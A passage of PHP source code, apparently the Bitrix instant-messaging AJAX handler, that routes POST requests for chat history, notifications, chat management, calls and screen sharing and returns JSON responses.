	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$chatId = substr($_POST['USER_ID'],4);
		$arMessage = $CIMHistory->GetMoreChatMessage(intval($_POST['PAGE_ID']), $chatId, false);
		if (!empty($arMessage['message']))
		{
			foreach ($arMessage['message'] as $id => $ar)
				$arMessage['message'][$id]['recipientId'] = 'chat'.$ar['recipientId'];

			$arMessage['usersMessage']['chat'.$chatId] = $arMessage['usersMessage'][$chatId];
			unset($arMessage['usersMessage'][$chatId]);
		}
	}
	else
	{
		$allowToSend = Array('TO_USER_ID' => $_POST['USER_ID']);

		if (CIMContactList::AllowToSend($allowToSend))
		{
			$arMessage = $CIMHistory->GetMoreMessage(intval($_POST['PAGE_ID']), intval($_POST['USER_ID']), false, false);
		}
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => isset($arMessage['chatId'])? $arMessage['chatId']: 0,
		'MESSAGE' => isset($arMessage['message'])? $arMessage['message']: Array(),
		'USERS_MESSAGE' => isset($arMessage['usersMessage'])? $arMessage['usersMessage']: Array(),
		'FILES' => isset($arMessage['files'])? $arMessage['files']: Array(),
		'ERROR' => ''
	));
}
else if ($_POST['IM_LOAD_MESSAGE_BY_DATE'] == 'Y')
{
	$history = new \CIMHistory();
	$arMessage = $history->GetMessagesByDate($_POST['CHAT_ID'], $_POST['LAST_LOAD'], $_POST['FIRST_MESSAGE_ID'], false);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => isset($arMessage['chatId'])? $arMessage['chatId']: 0,
		'DIALOG_ID' => isset($arMessage['dialogId'])? $arMessage['dialogId']: 0,
		'MESSAGE' => isset($arMessage['message'])? $arMessage['message']: Array(),
		'USERS_MESSAGE' => isset($arMessage['usersMessage'])? $arMessage['usersMessage']: Array(),
		'UNREAD_MESSAGE' => isset($arMessage['unreadMessage'])? $arMessage['unreadMessage']: Array(),
		'DELETE_MESSAGE' => isset($arMessage['messageDelete'])? $arMessage['messageDelete']: Array(),
		'FILES' => isset($arMessage['files'])? $arMessage['files']: Array(),
		'USERS' => isset($arMessage['users'])? $arMessage['users']: Array(),
		'USER_IN_GROUP' => isset($arMessage['userInGroup'])? $arMessage['userInGroup']: Array(),
		'PHONES' => isset($arMessage['phones'])? $arMessage['phones']: Array(),
		'CHAT' => $arChat['chat'],
		'USER_IN_CHAT' => $arChat['userInChat'],
		'USER_BLOCK_CHAT' => $arChat['userChatBlockStatus'],
		'ERROR' => ''
	));
}
else if ($_POST['IM_LOAD_CONTEXT_MESSAGE'] == 'Y')
{
	if (isset($_POST['PREVIOUS']))
	{
		$previous = 20;
		$next = 0;
	}
	else if (isset($_POST['NEXT']))
	{
		$previous = 0;
		$next = 20;
	}
	else
	{
		$previous = 10;
		$next = 10;
	}

	$CIMHistory = new CIMHistory();
	$arMessage = $CIMHistory->GetRelatedMessages(intval($_POST['MESSAGE_ID']), $previous, $next, false);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => isset($arMessage['chatId'])? $arMessage['chatId']: 0,
		'DIALOG_ID' => isset($arMessage['dialogId'])? $arMessage['dialogId']: 0,
		'MESSAGE' => isset($arMessage['message'])? $arMessage['message']: Array(),
		'USERS_MESSAGE' => isset($arMessage['usersMessage'])? $arMessage['usersMessage']: Array(),
		'FILES' => isset($arMessage['files'])? $arMessage['files']: Array(),
		'USERS' => isset($arMessage['users'])? $arMessage['users']: Array(),
		'USER_IN_GROUP' => isset($arMessage['userInGroup'])? $arMessage['userInGroup']: Array(),
		'PHONES' => isset($arMessage['phones'])? $arMessage['phones']: Array(),
		'ERROR' => ''
	));
}
else if ($_POST['IM_HISTORY_REMOVE_ALL'] == 'Y')
{
	$errorMessage = "";

	$CIMHistory = new CIMHistory();
	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
		$CIMHistory->HideAllChatMessage(substr($_POST['USER_ID'],4));
	else
		$CIMHistory->RemoveAllMessage($_POST['USER_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_HISTORY_REMOVE_MESSAGE'] == 'Y')
{
	$errorMessage = "";

	$CIMHistory = new CIMHistory();
	$CIMHistory->RemoveMessage($_POST['MESSAGE_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'MESSAGE_ID' => intval($_POST['MESSAGE_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_HISTORY_SEARCH'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$CIMHistory = new CIMHistory();
	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$chatId = substr($_POST['USER_ID'],4);
		$arMessage = $CIMHistory->SearchChatMessage($_POST['SEARCH'], $chatId, false);
		if (!empty($arMessage['message']))
		{
			foreach ($arMessage['message'] as $id => $ar)
				$arMessage['message'][$id]['recipientId'] = 'chat'.$ar['recipientId'];

			$arMessage['usersMessage']['chat'.$chatId] = $arMessage['usersMessage'][$chatId];
			unset($arMessage['usersMessage'][$chatId]);
		}
	}
	else
	{
		$arMessage = $CIMHistory->SearchMessage($_POST['SEARCH'], intval($_POST['USER_ID']), false, false);
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $arMessage['chatId'],
		'MESSAGE' => $arMessage['message'],
		'FILES' => $arMessage['files'],
		'USERS_MESSAGE' => $arMessage['usersMessage'],
		'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
		'ERROR' => ''
	));
}
else if ($_POST['IM_HISTORY_DATE_SEARCH'] == 'Y')
{
	$CIMHistory = new CIMHistory();
	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$chatId = substr($_POST['USER_ID'],4);
		$arMessage = $CIMHistory->SearchDateChatMessage($_POST['DATE'], $chatId, false);
		if (!empty($arMessage['message']))
		{
			foreach ($arMessage['message'] as $id => $ar)
				$arMessage['message'][$id]['recipientId'] = 'chat'.$ar['recipientId'];

			$arMessage['usersMessage']['chat'.$chatId] = $arMessage['usersMessage'][$chatId];
			unset($arMessage['usersMessage'][$chatId]);
		}
	}
	else
	{
		$arMessage = $CIMHistory->SearchDateMessage($_POST['DATE'], intval($_POST['USER_ID']), false, false);
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $arMessage['chatId'],
		'MESSAGE' => $arMessage['message'],
		'FILES' => $arMessage['files'],
		'USERS_MESSAGE' => $arMessage['usersMessage'],
		'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
		'ERROR' => ''
	));
}
else if ($_POST['IM_CONTACT_LIST_SEARCH'] == 'Y')
{
	$enabled = false;
	if (!IsModuleInstalled('b24network'))
	{
		$enabled = true;
	}
	else if (!Bitrix\Im\User::getInstance()->isExtranet() && CModule::IncludeModule('socialservices'))
	{
		$network = new \Bitrix\Socialservices\Network();
		$enabled = $network->isEnabled();

		if ($enabled)
		{
			$query = CBitrix24NetTransport::init();
			if(!$query)
			{
				$enabled = false;
			}
		}
	}

	if ($enabled)
	{
		CUtil::decodeURIComponent($_POST);

		$CIMContactList = new CIMContactList();
		$arContactList = $CIMContactList->SearchUsers($_POST['SEARCH']);

		echo \Bitrix\Im\Common::objectEncode(Array(
			'USERS' => $arContactList['users'],
			'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
			'ERROR' => ''
		));
	}
	else
	{
		echo \Bitrix\Im\Common::objectEncode(Array('ERROR' => 'DISABLED_FUNCTION'));
	}
}
else if ($_POST['IM_CONTACT_LIST'] == 'Y')
{
	$CIMContactList = new CIMContactList();
	$arContactList = $CIMContactList->GetList();

	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => $USER->GetId(),
		'USERS' => $arContactList['users'],
		'GROUPS' => $arContactList['groups'],
		'CHATS' => $arContactList['chats'],
		'PHONES' => $arContactList['phones'],
		'USER_IN_GROUP' => $arContactList['userInGroup'],
		'ERROR' => ''
	));
}
else if ($_POST['IM_RECENT_LIST'] == 'Y')
{
	$ar = CIMContactList::GetRecentList(Array(
		'USE_TIME_ZONE' => 'N',
		'USE_SMILES' => 'N'
	));
	$arRecent = Array();
	$arUsers = Array();
	$arChat = Array();
	foreach ($ar as $userId => $value)
	{
		if ($value['TYPE'] == IM_MESSAGE_CHAT || $value['TYPE'] == IM_MESSAGE_OPEN || $value['TYPE'] == IM_MESSAGE_OPEN_LINE)
		{
			$arChat[$value['CHAT']['id']] = $value['CHAT'];
			$value['MESSAGE']['userId'] = $userId;
			$value['MESSAGE']['recipientId'] = $userId;
		}
		else
		{
			$value['MESSAGE']['userId'] = $userId;
			$value['MESSAGE']['recipientId'] = $userId;
			$arUsers[$value['USER']['id']] = $value['USER'];
		}
		$arRecent[] = $value['MESSAGE'];
	}

	$arSmile = CIMMessenger::PrepareSmiles();

	$arResult['SMILE'] = $arSmile['SMILE'];
	$arResult['SMILE_SET'] = $arSmile['SMILE_SET'];

	$arResult['NOTIFY_BLOCKED'] = CIMSettings::GetSimpleNotifyBlocked();

	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => $USER->GetId(),
		'RECENT' => $arRecent,
		'USERS' => $arUsers,
		'CHAT' => $arChat,
		'NOTIFY_BLOCKED' => $arResult['NOTIFY_BLOCKED'],
		'SMILE' => !empty($arSmile['SMILE'])? $arSmile['SMILE']: false,
		'SMILE_SET' => !empty($arSmile['SMILE_SET'])? $arSmile['SMILE_SET']: false,
		'ERROR' => ''
	));

}
else if ($_POST['IM_NOTIFY_READ'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	$CIMNotify->MarkNotifyRead($_POST['ID'], true);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_VIEW'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	if ($_POST['READ'] == 'N')
	{
		$CIMNotify->MarkNotifyUnRead($_POST['ID']);
	}
	else
	{
		$CIMNotify->MarkNotifyRead($_POST['ID']);
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_CONFIRM'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	$result = $CIMNotify->Confirm($_POST['NOTIFY_ID'], $_POST['NOTIFY_VALUE']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NOTIFY_ID' => intval($_POST['NOTIFY_ID']),
		'NOTIFY_VALUE' => $_POST['NOTIFY_VALUE'],
		'MESSAGES' => $result,
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_ANSWER'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	$result = $CIMNotify->Answer($_POST['NOTIFY_ID'], $_POST['NOTIFY_ANSWER']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'MESSAGES' => $result,
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_BLOCK_TYPE'] == 'Y')
{
	$errorMessage = "";

	$arSettings = Array(
		'site|'.$_POST['BLOCK_TYPE'] => $_POST['BLOCK_RESULT'] == 'Y'? false: true,
		'xmpp|'.$_POST['BLOCK_TYPE'] => $_POST['BLOCK_RESULT'] == 'Y'? false: true,
		'email|'.$_POST['BLOCK_TYPE'] => $_POST['BLOCK_RESULT'] == 'Y'? false: true,
	);
	CIMSettings::SetSetting(CIMSettings::NOTIFY, $arSettings);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_REMOVE'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	$CIMNotify->DeleteWithCheck($_POST['NOTIFY_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NOTIFY_ID' => intval($_POST['NOTIFY_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_NOTIFY_GROUP_REMOVE'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	if ($arNotify = $CIMNotify->GetNotify($_POST['NOTIFY_ID']))
		CIMNotify::DeleteByTag($arNotify['NOTIFY_TAG']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NOTIFY_ID' => intval($_POST['NOTIFY_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_RECENT_HIDE'] == 'Y')
{
	\CIMContactList::DialogHide($_POST['DIALOG_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => $_POST['DIALOG_ID'],
		'ERROR' => ''
	));
}
else if ($_POST['IM_CHAT_ADD'] == 'Y')
{
	$_POST['USERS'] = CUtil::JsObjectToPhp($_POST['USERS']);

	$errorMessage = "";
	$chatId = 0;
	if ($_POST['TYPE'] != 'open' && !is_array($_POST['USERS']))
	{
		$errorMessage = GetMessage('IM_UNKNOWN_ERROR');
	}
	else
	{
		CUtil::decodeURIComponent($_POST);

		$CIMChat = new CIMChat();
		$chatId = $CIMChat->Add(Array(
			'TYPE' => $_POST['TYPE'] == 'open'? IM_MESSAGE_OPEN: IM_MESSAGE_CHAT,
			'USERS' => $_POST['USERS'],
			'TITLE' => $_POST['TITLE'],
			'MESSAGE' => $_POST['MESSAGE'],
			'SEARCH_MARK' => $_POST['SEARCH_MARK']
		));
		if (!$chatId)
		{
			if ($e = $GLOBALS["APPLICATION"]->GetException())
				$errorMessage = $e->GetString();
		}
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => intval($chatId),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_CHAT_EXTEND'] == 'Y')
{
	$_POST['USERS'] = CUtil::JsObjectToPhp($_POST['USERS']);

	$errorMessage = "";
	$userId = $USER->GetId();
	$chatId = intval($_POST['CHAT_ID']);
	if (CIMChat::CheckRestriction($chatId, 'EXTEND'))
	{
		$errorMessage = GetMessage('IM_ACCESS_ERROR');
	}
	else
	{
		$CIMChat = new CIMChat();
		$result = $CIMChat->AddUser($_POST['CHAT_ID'], $_POST['USERS'], $_POST['HISTORY'] != 'Y');
		if (!$result)
		{
			if ($e = $GLOBALS["APPLICATION"]->GetException())
				$errorMessage = $e->GetString();
		}
	}
	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_CHAT_JOIN'] == 'Y')
{
	$CIMChat = new CIMChat();
	$result = $CIMChat->Join($_POST['CHAT_ID']);
}
else if ($_POST['IM_PARENT_CHAT_JOIN'] == 'Y')
{
	$CIMChat = new CIMChat();
	$result = $CIMChat->JoinParent($_POST['CHAT_ID'], $_POST['MESSAGE_ID']);
}
else if ($_POST['IM_CHAT_LEAVE'] == 'Y')
{
	$userId = $USER->GetId();
	$chatId = intval($_POST['CHAT_ID']);
	if (CIMChat::CheckRestriction($chatId, 'LEAVE'))
	{
		$result = false;
	}
	else
	{
		$CIMChat = new CIMChat();
		$result = $CIMChat->DeleteUser($chatId, intval($_POST['USER_ID']) > 0? intval($_POST['USER_ID']): $USER->GetID());
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => intval($_POST['CHAT_ID']),
		'USER_ID' => intval($_POST['USER_ID']),
		'ERROR' => $result? '': 'ACCESS_ERROR'
	));
}
else if ($_POST['IM_CHAT_MUTE'] == 'Y')
{
	$CIMChat = new CIMChat();
	$result = $CIMChat->MuteNotify($_POST['CHAT_ID'], $_POST['MUTE'] == 'Y');
	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => intval($_POST['CHAT_ID']),
		'ERROR' => $result? '': 'ACCESS_ERROR'
	));
}
else if ($_POST['IM_CHAT_RENAME'] == 'Y')
{
	$userId = $USER->GetId();
	$chatId = intval($_POST['CHAT_ID']);
	$error = '';
	if (CIMChat::CheckRestriction($chatId, 'RENAME'))
	{
		$error = 'ACTION_DISABLED';
	}
	else
	{
		CUtil::decodeURIComponent($_POST);

		$CIMChat = new CIMChat();
		$CIMChat->Rename($chatId, $_POST['CHAT_TITLE']);
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => intval($_POST['CHAT_ID']),
		'CHAT_TITLE' => $_POST['CHAT_TITLE'],
		'ERROR' => $error
	));
}
else if ($_POST['IM_CRM_SELECTOR'] == 'Y')
{
	if (CModule::IncludeModule('crm'))
	{
		ob_start();
		$APPLICATION->IncludeComponent(
			'bitrix:crm.entity.selector.ajax',
			'.default',
			array(
				"MULTIPLE" => $_REQUEST['multiple'] == 'Y' ? 'Y' : 'N',
				'VALUE' => $_REQUEST['value'],
				'ENTITY_TYPE' => $_REQUEST['entityType'],
				'NAME' => 'olCrmSelector',
			),
			null,
			array('HIDE_ICONS' => 'Y')
		);
		$arResult['HTML'] = ob_get_contents();
		ob_end_clean();
	}
	else
	{
		$arResult['ERROR'] = 'ACCESS_DENIED';
	}

	echo \Bitrix\Im\Common::objectEncode($arResult);

}
else if ($_POST['IM_CHAT_DATA_LOAD'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$chatId = $_POST['CHAT_ID'];

	$arChat = CIMChat::GetChatData(array(
		'ID' => $chatId,
		'USE_CACHE' => 'Y',
		'USER_ID' => $USER->GetId()
	));

	$arUser = CIMContactList::GetUserData(Array(
		'ID' => $arChat['userInChat'][$chatId]
	));

	if (!in_array($USER->GetId(), $arChat['userInChat'][$chatId]))
	{
		if (($arChat['chat'][$chatId]['message_type'] == IM_MESSAGE_OPEN || $arChat['chat'][$chatId]['messageType'] == IM_MESSAGE_OPEN_LINE) && CModule::IncludeModule("pull"))
		{
			CPullWatch::Add($USER->GetId(), 'IM_PUBLIC_'.$chatId, true);
		}
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT' => $arChat['chat'],
		'CHAT_ID' => $_POST['CHAT_ID'],
		'LINES' => $arChat['lines'],
		'USER_IN_CHAT' => $arChat['userInChat'],
		'USER_BLOCK_CHAT' => $arChat['userChatBlockStatus'],
		'USERS' => isset($arUser['users'])? $arUser['users']: Array(),
		'USER_IN_GROUP' => isset($arUser['userInGroup'])? $arUser['userInGroup']: Array(),
		'ERROR' => ''
	));
}
else if ($_POST['IM_GET_EXTERNAL_DATA'] == 'Y')
{
	$error = '';
	$arResult = Array(
		'TS' => $_POST['TS'],
		'TYPE' => $_POST['TYPE'],
		'ERROR' => ''
	);
	$arMessage = Array();

	if ($_POST['TYPE'] == 'user')
	{
		$arResult['USER_ID'] = intval($_POST['USER_ID']);
		if (CIMContactList::AllowToSend(Array('TO_USER_ID' => $_POST['USER_ID'])))
		{
			$ar = CIMContactList::GetUserData(array(
				'ID' => Array($_POST['USER_ID']),
				'DEPARTMENT' => 'Y',
				'USE_CACHE' => 'N',
				'PHONES' => IsModuleInstalled('voximplant')? 'Y': 'N'
			));
			$arResult['USERS'] = isset($ar['users'])? $ar['users']: Array();
			$arResult['USER_IN_GROUP'] = isset($ar['userInGroup'])? $ar['userInGroup']: Array();
			$arResult['PHONES'] = isset($ar['phones'])? $ar['phones']: Array();
		}
		else
		{
			$arResult['ERROR'] = 'ACCESS_DENIED';
		}
	}
	else if ($_POST['TYPE'] == 'chat')
	{
		$chatId = intval($_POST['CHAT_ID']);

		$arChat = CIMChat::GetChatData(array(
			'ID' => $chatId,
			'USE_CACHE' => 'Y',
			'USER_ID' => $USER->GetId()
		));

		if ($arChat['chat'][$chatId])
		{
			$arResult['CHAT_ID'] = $chatId;
			$arResult['CHAT'] = $arChat['chat'];
			$arResult['LINES'] = $arChat['lines'];
			$arResult['USER_IN_CHAT'] = $arChat['userInChat'];
			$arResult['USER_BLOCK_CHAT'] = $arChat['userChatBlockStatus'];
		}
		else
		{
			$arResult['ERROR'] = 'ACCESS_DENIED';
		}
	}
	else if ($_POST['TYPE'] == 'phoneCallHistory')
	{
		if (CModule::IncludeModule('voximplant'))
		{
			$arResult['HISTORY_ID'] = intval($_POST['HISTORY_ID']);
			$history = CVoxImplantHistory::GetForPopup($arResult['HISTORY_ID']);
			if ($history && $history['PORTAL_USER_ID'] == $USER->GetId())
			{
				if (strlen($history['CALL_RECORD_HREF']) > 0)
				{
					ob_start();
					$APPLICATION->IncludeComponent(
						"bitrix:player",
						"",
						Array(
							"PLAYER_TYPE" => "flv",
							"CHECK_FILE" => "N",
							"USE_PLAYLIST" => "N",
							"PATH" => $history["CALL_RECORD_HREF"],
							"WIDTH" => 233,
							"HEIGHT" => 24,
							"PREVIEW" => false,
							"LOGO" => false,
							"FULLSCREEN" => "N",
							"SKIN_PATH" => "/bitrix/components/bitrix/player/mediaplayer/skins",
							"SKIN" => "",
							"CONTROLBAR" => "bottom",
							"WMODE" => "transparent",
							"WMODE_WMV" => "windowless",
							"HIDE_MENU" => "N",
							"SHOW_CONTROLS" => "N",
							"SHOW_STOP" => "Y",
							"SHOW_DIGITS" => "Y",
							"CONTROLS_BGCOLOR" => "FFFFFF",
							"CONTROLS_COLOR" => "000000",
							"CONTROLS_OVER_COLOR" => "000000",
							"SCREEN_COLOR" => "000000",
							//"FILE_DURATION" => "30",
							"AUTOSTART" => "N",
							"REPEAT" => "N",
							"VOLUME" => "90",
							"DISPLAY_CLICK" => "play",
							"MUTE" => "N",
							"HIGH_QUALITY" => "N",
							"ADVANCED_MODE_SETTINGS" => "Y",
							"BUFFER_LENGTH" => "10",
							"DOWNLOAD_LINK" => false,
							"DOWNLOAD_LINK_TARGET" => "_self",
							"ALLOW_SWF" => "N",
							"ADDITIONAL_PARAMS" => array(
								'LOGO' => false,
								'NUM' => false,
								'HEIGHT_CORRECT' => false,
							),
							"PLAYER_ID" => "bitrix_vi_record_".$arResult['HISTORY_ID']
						),
						false,
						Array("HIDE_ICONS" => "Y")
					);
					$history['CALL_RECORD_HTML'] = ob_get_contents();
					ob_end_clean();
					unset($history['CALL_RECORD_HREF']);

				}
				foreach ($history as $key => $value)
				{
					$arResult[$key] = $value;
				}
			}
			else
			{
				$arResult['ERROR'] = 'ACCESS_DENIED';
			}
		}
		else
		{
			$arResult['ERROR'] = 'ACCESS_DENIED';
		}
	}

	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_CALL'] == 'Y')
{
	$userId = intval($USER->GetId());
	$chatId = intval($_POST['CHAT_ID']) ?: CIMMessage::GetChatId($userId, intval($_POST['USER_ID']));

	$errorMessage = "";
	if ($_POST['COMMAND'] == 'inviteExperimental')
	{
		if ($_POST['CHAT'] != 'Y')
			$chatId = CIMMessage::GetChatId($userId, intval($_POST['CHAT_ID']));

		$arCallData = CIMCall::InviteExperimental(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'RECIPIENT_ID' => $_POST['CHAT'] != 'Y'? intval($_POST['CHAT_ID']): 0,
			'VIDEO' => $_POST['VIDEO'],
			'MOBILE' => $_POST['MOBILE'],
		));
	}
	else if ($_POST['COMMAND'] == 'invite')
	{
		if ($_POST['CHAT'] != 'Y')
			$chatId = CIMMessage::GetChatId($userId, intval($_POST['CHAT_ID']));

		$arCallData = CIMCall::Invite(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'RECIPIENT_ID' => $_POST['CHAT'] != 'Y'? intval($_POST['CHAT_ID']): 0,
			'VIDEO' => $_POST['VIDEO'],
			'MOBILE' => $_POST['MOBILE'],
		));
		if (!$arCallData)
		{
			if ($e = $GLOBALS["APPLICATION"]->GetException())
				$errorMessage = $e->GetString();

			echo \Bitrix\Im\Common::objectEncode(Array(
				'ERROR' => $errorMessage
			));
		}
		else
		{
			echo \Bitrix\Im\Common::objectEncode(Array(
				'CHAT_ID' => $arCallData['CHAT_ID'],
				'USERS' => $arCallData['USER_DATA']['USERS'],
				'USERS_CONNECT' => isset($arCallData['USERS_CONNECT'])? $arCallData['USERS_CONNECT']: array(),
				'HR_PHOTO' => $arCallData['USER_DATA']['HR_PHOTO'],
				'CALL_VIDEO' => $arCallData['STATUS_TYPE'] == IM_CALL_VIDEO,
				'CALL_TO_GROUP' => $arCallData['CALL_TO_GROUP'],
				'CALL_ENABLED' => $arCallData['STATUS_TYPE'] != IM_CALL_NONE,
				'ERROR' => $errorMessage
			));
		}
	}
	else if ($_POST['COMMAND'] == 'wait')
	{
		CIMCall::Wait(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
		));
	}
	else if ($_POST['COMMAND'] == 'reconnect')
	{
		CIMCall::Command($chatId, $_POST['RECIPIENT_ID'], 'reconnect', Array());
	}
	else if ($_POST['COMMAND'] == 'answer')
	{
		CIMCall::Answer(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'CALL_TO_GROUP' => $_POST['CALL_TO_GROUP'] == 'Y',
			'MOBILE' => $_POST['MOBILE'],
		));
	}
	else if ($_POST['COMMAND'] == 'start')
	{
		CIMCall::Start(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'RECIPIENT_ID' => intval($_POST['RECIPIENT_ID']),
			'CALL_TO_GROUP' => $_POST['CALL_TO_GROUP'] == 'Y',
		));
	}
	else if (in_array($_POST['COMMAND'], Array(IM_CALL_END_DECLINE, IM_CALL_END_TIMEOUT, IM_CALL_END_BUSY, IM_CALL_END_OFFLINE, IM_CALL_END_ACCESS)))
	{
		$arParams = Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'RECIPIENT_ID' => intval($_POST['RECIPIENT_ID']),
			'REASON' => $_POST['COMMAND'],
		);
		$_POST['PARAMS'] = CUtil::JsObjectToPhp($_POST['PARAMS']);
		if (isset($_POST['VIDEO']))
			$arParams['VIDEO'] = $_POST['VIDEO'];
		if (isset($_POST['PARAMS']['ACTIVE']))
			$arParams['ACTIVE'] = $_POST['PARAMS']['ACTIVE'];
		if (isset($_POST['PARAMS']['INITIATOR']))
			$arParams['INITIATOR'] = $_POST['PARAMS']['INITIATOR'];

		CIMCall::End($arParams);
	}
	else if ($_POST['COMMAND'] == 'signaling')
	{
		CIMCall::Command($chatId, $_POST['RECIPIENT_ID'], 'signaling', Array('peer' => $_POST['PEER']));
	}
	else if ($_POST['COMMAND'] == 'invite_user')
	{
		$arCallData = CIMCall::AddUser(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'USERS' => CUtil::JsObjectToPhp($_POST['USERS']),
		));
		if ($e = $GLOBALS["APPLICATION"]->GetException())
			$errorMessage = $e->GetString();

		if (strlen($errorMessage) <= 0)
		{
			echo \Bitrix\Im\Common::objectEncode(Array(
				'CHAT_ID' => $arCallData['CHAT_ID'],
				'USERS' => $arCallData['USER_DATA']['USERS'],
				'HR_PHOTO' => $arCallData['USER_DATA']['HR_PHOTO'],
				'ERROR' => $errorMessage
			));
		}
		else
		{
			echo \Bitrix\Im\Common::objectEncode(Array(
				'CHAT_ID' => $arCallData['CHAT_ID'],
				'ERROR' => $e->GetString()
			));
		}
	}
	else
	{
		CIMCall::Signaling(Array(
			'CHAT_ID' => $chatId,
			'USER_ID' => $userId,
			'COMMAND' => $_POST['COMMAND'],
		));
	}
	if ($_POST['COMMAND'] != 'invite' && $_POST['COMMAND'] != 'invite_user')
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'CHAT_ID' => $chatId,
			'ERROR' => $errorMessage
		));
	}
}
else if ($_POST['IM_SHARING'] == 'Y' && intval($_POST['USER_ID']) > 0)
{
	if (!CModule::IncludeModule("pull"))
		return false;

	if ($_POST['COMMAND'] == 'signaling')
	{
		\Bitrix\Pull\Event::add(intval($_POST['USER_ID']), Array(
			'module_id' => 'im',
			'command' => 'screenSharing',
			'expiry' => 3600,
			'params' => Array(
				'senderId' => $USER->GetID(),
				'command' => 'signaling',
				'peer' => $_POST['PEER'],
			),
			'extra' => \Bitrix\Im\Common::getPullExtra()
		));
	}
	else
	{
		\Bitrix\Pull\Event::add(intval($_POST['USER_ID']), Array(
			'module_id' => 'im',
			'command' => 'screenSharing',
			'expiry' => 3600,
			'params' => Array(
				'senderId' => $USER->GetID(),
				'command' => $_POST['COMMAND']
			),
			'extra' => \Bitrix\Im\Common::getPullExtra()
		));
	}
}
else if ($_POST['IM_PHONE'] == 'Y' && CModule::IncludeModule('voximplant'))
{
	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/voximplant/ajax_hit.php");
}
else if (($_POST['IM_OPEN_LINES'] == 'Y' || $_POST['IM_OPEN_LINES_CLIENT'] == 'Y') && CModule::IncludeModule('imopenlines'))
{
	$_POST['IM_OPEN_LINES_CLIENT'] = $_POST['IM_OPEN_LINES'] == 'Y'? 'N': 'Y';
	$_POST['IM_OPEN_LINES'] = $_POST['IM_OPEN_LINES_CLIENT'] == 'Y'? 'N': 'Y';

	require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/imopenlines/handlers/ajax.php");
}
else if ($_POST['IM_IDLE'] == 'Y')
{
	$errorMessage = "";
	CIMStatus::SetIdle($USER->GetId(), $_POST['IDLE'] == 'Y', $_POST['MANUAL'] == 'Y'? 1: 10);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_OPEN_REST_TOKEN'] == 'Y')
{
	$errorMessage = "";

	\Bitrix\Im\App::addToken(Array(
		'BOT_ID' => intval($_POST['BOT_ID']),
		'DIALOG_ID' => $_POST['DIALOG_ID'],
		'USER_ID' => $USER->GetId(),
	));

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_GET_TEXTAREA_ICONS'] == 'Y')
{
	$errorMessage = "";

	echo \Bitrix\Im\Common::objectEncode(Array(
